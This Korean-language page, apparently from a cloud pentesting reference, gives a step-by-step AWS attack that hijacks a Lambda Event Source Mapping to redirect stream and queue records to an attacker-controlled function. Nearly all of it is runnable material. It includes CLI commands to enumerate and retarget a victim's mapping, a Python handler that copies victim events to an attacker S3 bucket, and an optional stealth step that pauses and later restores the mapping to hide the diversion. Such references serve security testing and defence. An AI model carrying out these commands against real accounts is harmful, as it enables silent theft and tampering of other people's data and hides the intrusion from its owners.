AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda

Reading time: 3 minutes

UpdateEventSourceMapping을 악용하여 기존 Event Source Mapping(ESM)의 대상 Lambda 함수를 변경하면 DynamoDB Streams, Kinesis 또는 SQS의 레코드가 attacker-controlled function으로 전달되게 할 수 있습니다. 이는 producer나 원래 함수 코드를 건드리지 않고 실시간 데이터를 조용히 우회시킵니다.

영향

• producer apps이나 victim code를 수정하지 않고 기존 streams/queues의 실시간 레코드를 우회하여 읽을 수 있습니다.
• rogue function에서 victim의 트래픽을 처리함으로써 데이터 exfiltration 또는 로직 변조가 발생할 수 있습니다.

필요한 권한

• lambda:ListEventSourceMappings
• lambda:GetEventSourceMapping
• lambda:UpdateEventSourceMapping
• attacker-controlled Lambda를 배포하거나 참조할 수 있는 권한(lambda:CreateFunction 또는 기존 함수를 사용할 수 있는 권한).

단계

1. victim function에 대한 event source mappings 열거

TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)

2. attacker-controlled 수신 Lambda를 준비합니다 (동일한 region; 가능하면 유사한 VPC/runtime)

cat > exfil.py <<'PY'
import json, boto3, os, time

def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)

3. 매핑을 공격자 함수로 재지정

aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN

4. 소스에서 이벤트를 생성하여 mapping이 트리거되도록 한다 (예: SQS)

SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'

5. attacker function이 배치를 수신하는지 확인

aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5

6. 선택적 은폐

# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false

# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true

참고:

• For SQS ESMs, 큐를 처리하는 Lambda의 실행 역할에는 sqs:ReceiveMessage, sqs:DeleteMessage, 그리고 sqs:GetQueueAttributes가 필요합니다 (관리형 정책: AWSLambdaSQSQueueExecutionRole).
• ESM UUID는 동일하게 유지됩니다; 오직 FunctionArn만 변경되므로 producers와 source ARNs에는 영향이 없습니다.